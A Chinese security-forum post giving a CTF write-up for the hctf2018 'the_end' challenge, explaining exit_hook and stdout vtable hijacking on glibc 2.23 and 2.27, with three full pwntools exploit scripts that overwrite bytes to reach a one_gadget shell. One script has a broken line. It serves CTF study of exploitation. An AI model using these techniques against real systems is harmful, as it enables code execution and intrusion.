首页
论坛
课程
招聘
[原创]hctf2018_the_end(IO FILE attack和exit_hook attack)
2020-10-5 19:49 1961

[原创]hctf2018_the_end(IO FILE attack和exit_hook attack)

2020-10-5 19:49
1961

前一阵ciscn半决赛的时候几乎遇到了 跟这个一模一样的题。当时是基于2.23下打的io file。但是我赛后想了一下,这道题能考察的利用点还挺多的,可以作为一道很好的多解题来总结,于是这件事情就拖到了现在才做。准备总结一下在2.23和2.27两个版本下可以打的点。
图片描述

劫持exit_hook

exit调用流程如下:

1
exit()->__run_exit_handlers->_dl_fini->__rtld_lock_unlock_recursive

我们劫持__rtld_lock_unlock_recursive 而这个函数是在_rtld_global结构体中的一个函数。
偏移计算如下:
图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
# encoding=utf-8
from pwn import *
from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
 
libc_path = "/lib/x86_64-linux-gnu/libc-2.23.so"
elf_path = "./the_end"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
 
 
 
 
cho=''      # choice提示语
siz=''     # size输入提示语
con=''         # content输入提示语
ind=''      # index输入提示语
edi=''          # edit输入提示语
def add(size,content='',c='1'):
    sal(cho,c)
    pass
def free(index,c=''):
    sal(cho,c)
    pass
def show(index,c=''):
    sal(cho,c)
    pass
def edit(index,content='',c=''):
    sal(cho,c)
    pass
# 获取pie基地址
def get_proc_base(p):
    proc_base = p.libs()[p._cwd+p.argv[0].strip('.')]
    info(hex(proc_base))
 
# 获取libc基地址  
def get_libc_base(p):
    libc_base = p.libs()[libc_path]
    info(hex(libc_base))
 
def exp():
    global io
    io = process(elf_path)
    get_proc_base(io)
    get_libc_base(io)
    ru("here is a gift ")
    libc.address =  int(r(len("0x7f7819bef2b0")),16)-libc.sym['sleep']
    success("libc:"+hex(libc.address))
 
 
    ogg = libc.address+#
    info("ogg:"+hex(ogg))
    _rtld_global = libc.address+0x5f0040
    success("_rtld_global:"+hex(_rtld_global))
    __rtld_lock_unlock_recursive = _rtld_global+0xf08
    success("__rtld_lock_unlock_recursive :"+hex(__rtld_lock_unlock_recursive))
 
    pause()
    s(p64(__rtld_lock_unlock_recursive))
    s(p8(ogg&0xff))
    info(hex(ogg&0xff))
 
    s(p64(__rtld_lock_unlock_recursive+1))
    s(p8((ogg>>8)&0xff))
    info(hex((ogg>>8)&0xff))
 
    s(p64(__rtld_lock_unlock_recursive+2))
    s(p8((ogg>>16)&0xff))
    info(hex((ogg>>16)&0xff))
 
    s(p64(__rtld_lock_unlock_recursive+3))
    s(p8((ogg>>24)&0xff))
    info(hex((ogg>>24)&0xff))
 
    s(p64(__rtld_lock_unlock_recursive+4))
    s(p8((ogg>>32)&0xff))
    info(hex((ogg>>32)&0xff))
    sl("cat flag>&0")
    shell()
exp()

劫持vtable

由于是2.23下,没有vtable保护,所以可以劫持stdout的虚表指针,把假的虚表构造在stderr上,然后伪造虚表对应位置的_setbuf 函数.程序调用 exit 后,会遍历 _IO_list_all ,调用 _IO_2_1_stdout_ 下的 vatable 中 _setbuf 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
# encoding=utf-8
from pwn import *
from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
 
libc_path = "/lib/x86_64-linux-gnu/libc-2.23.so"
elf_path = "./the_end"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
 
 
 
 
cho=''      # choice提示语
siz=''     # size输入提示语
con=''         # content输入提示语
ind=''      # index输入提示语
edi=''          # edit输入提示语
def add(size,content='',c='1'):
    sal(cho,c)
    pass
def free(index,c=''):
    sal(cho,c)
    pass
def show(index,c=''):
    sal(cho,c)
    pass
def edit(index,content='',c=''):
    sal(cho,c)
    pass
# 获取pie基地址
def get_proc_base(p):
    proc_base = p.libs()[p._cwd+p.argv[0].strip('.')]
    info(hex(proc_base))
 
# 获取libc基地址  
def get_libc_base(p):
    libc_base = p.libs()[libc_path]
    info(hex(libc_base))
def change(addr1,byte):
    s(p64(addr1))
    s(p8(byte))
def exp():
    global io
    io = process(elf_path)
    get_proc_base(io)
    get_libc_base(io)
    ru("here is a gift ")
    libc.address =  int(r(len("0x7f7819bef2b0")),16)-libc.sym['sleep']
    success("libc:"+hex(libc.address))
 
    ru("good luck ;)")
    ogg = libc.address+0xf0364
    stdout_vtable_ptr = libc.sym['_IO_2_1_stdout_']+0xd8
    stderr_vtable_ptr = libc.sym['_IO_2_1_stderr_']+0xd8    # 虚表劫持
    success("stdout_addr:"+hex(stdout_vtable_ptr))
    success("stderr_addr:"+hex(stderr_vtable_ptr))
    fake_vtable_addr = stderr_vtable_ptr-0x58          # fake虚表的位置
    success("fake vtable addr:"+hex(fake_vtable_addr))
 
 
    change(stdout_vtable_ptr,(fake_vtable_addr&0xff))
    change(stdout_vtable_ptr+1,((fake_vtable_addr>>8)&0xff))   #劫持stdout结构体的虚表指针指向fake table的位置(_IO_2_1_stderr_+128)
 
    ogg = libc.address+0x45226
    success("ogg:"+hex(ogg))
    change(stderr_vtable_ptr,ogg&0xff)
    change(stderr_vtable_ptr+1,((ogg>>8)&0xff))
    change(stderr_vtable_ptr+2,((ogg>>16)&0xff))
    shell()
exp()

注意最后cat flag的时候要绑定一下输出流到0号

glibc2.27

在2.27下有了对于虚表指针的验证,所以直接劫持变得不可行。所以还是打exit_hook。注意_rtld_global是ld里的符号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
# encoding=utf-8
from pwn import *
from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
 
libc_path = "/lib/x86_64-linux-gnu/libc-2.27.so"
elf_path = "./the_end"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
 
 
 
 
cho=''      # choice提示语
siz=''     # size输入提示语
con=''         # content输入提示语
ind=''      # index输入提示语
edi=''          # edit输入提示语
def add(size,content='',c='1'):
    sal(cho,c)
    pass
def free(index,c=''):
    sal(cho,c)
    pass
def show(index,c=''):
    sal(cho,c)
    pass
def edit(index,content='',c=''):
    sal(cho,c)
    pass
# 获取pie基地址
def get_proc_base(p):
    proc_base = p.libs()[p._cwd+p.argv[0].strip('.')]
    info(hex(proc_base))
 
# 获取libc基地址 
def get_libc_base(p):
    libc_base = p.libs()[libc_path]
    info(hex(libc_base))
 
def exp():
    global io
    #io = process(elf_path)
    io = remote("node3.buuoj.cn",29679)
    #get_proc_base(io)
    #get_libc_base(io)
    ru("here is a gift ")
    libc.address =  int(r(len("0x7f7819bef2b0")),16)-libc.sym['sleep']
    ld = ELF('/lib/x86_64-linux-gnu/ld-2.27.so')
    ld.address = libc.address+0x3f1000
    success("libc:"+hex(libc.address))
    success("ld:"+hex(ld.address))
 
 
 
    ogg = libc.address+0x4f322
    info("ogg:"+hex(ogg))
    _rtld_global = ld.sym['_rtld_global']
    success("_rtld_global:"+hex(_rtld_global))
    __rtld_lock_unlock_recursive = _rtld_global+0xf08
    success("__rtld_lock_unlock_recursive :"+hex(__rtld_lock_unlock_recursive))
 
    pause()
    s(p64(__rtld_lock_unlock_recursive))
    s(p8(ogg&0xff))
    info(hex(ogg&0xff))
 
    s(p64(__rtld_lock_unlock_recursive+1))
    s(p8((ogg>>8)&0xff))
    info(hex((ogg>>8)&0xff))
 
    s(p64(__rtld_lock_unlock_recursive+2))
    s(p8((ogg>>16)&0xff))
    info(hex((ogg>>16)&0xff))
 
    s(p64(__rtld_lock_unlock_recursive+3))
    s(p8((ogg>>24)&0xff))
    info(hex((ogg>>24)&0xff))
 
    s(p64(__rtld_lock_unlock_recursive+4))
    s(p8((ogg>>32)&0xff))
    info(hex((ogg>>32)&0xff))
    sl('exec 1>&0')
    shell()
exp()

效果:
图片描述


[培训]12月3日2020京麒网络安全大会《物联网安全攻防实战》训练营,正在火热报名中!地点:北京 · 新云南皇冠假日酒店

收藏
点赞0
打赏
分享
最新回复 (2)
雪    币: 2316
活跃值: 活跃值 (7587)
能力值: (RANK:65 )
在线值:
发帖
回帖
粉丝
Editor 活跃值 2020-10-7 14:16
2
0
题目附件能提供一下?
雪    币: 0
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
YenKoc 活跃值 2020-10-7 15:11
3
0
川大师傅nb
游客
登录 | 注册 方可回帖
返回